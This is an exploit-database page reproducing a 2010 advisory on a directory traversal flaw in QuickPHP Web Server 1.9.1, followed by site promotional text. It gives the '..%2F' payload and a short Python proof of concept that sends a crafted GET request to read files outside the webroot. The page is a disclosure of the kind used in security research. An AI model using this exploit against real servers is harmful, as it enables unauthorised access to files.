Lucene search
K

QuickPHP Web Server 1.9.1 Directory Traversal

🗓️ 28 Dec 2010 00:00:00Reported by AutoSec ToolsType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 25 Views

QuickPHP Web Server 1.9.1 Directory Traversal vulnerabilit

Code
`# ------------------------------------------------------------------------  
  
# Software................QuickPHP Web Server 1.9.1  
  
# Vulnerability...........Directory Traversal  
  
# Download................http://www.zachsaw.co.cc/?pg=quickphp_php_tester_debugger  
  
# Release Date............12/27/2010  
  
# Tested On...............Windows XP  
  
# ------------------------------------------------------------------------  
  
# Author..................John Leitch  
  
# Site....................http://www.johnleitch.net/  
  
# [email protected]  
  
# ------------------------------------------------------------------------  
  
#   
  
# --Description--  
#   
# A directory traversal vulnerability in QuickPHP Web Server 1.9.1 can  
# be exploited to read files outside of the webroot directory.  
#   
#   
# --Exploit--  
#   
# The resource path must be absolute.  
#   
# ..%2F  
#   
#   
# --PoC--  
  
  
  
import socket  
  
host = 'localhost'  
port = 80  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.settimeout(8)  
s.connect((host, port))  
s.send('GET http://' + host + '/' + '..%2F' * 8 + ' HTTP/1.1\r\n'  
'Host: ' + host + '\r\n\r\n');  
  
print s.recv(8192);  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation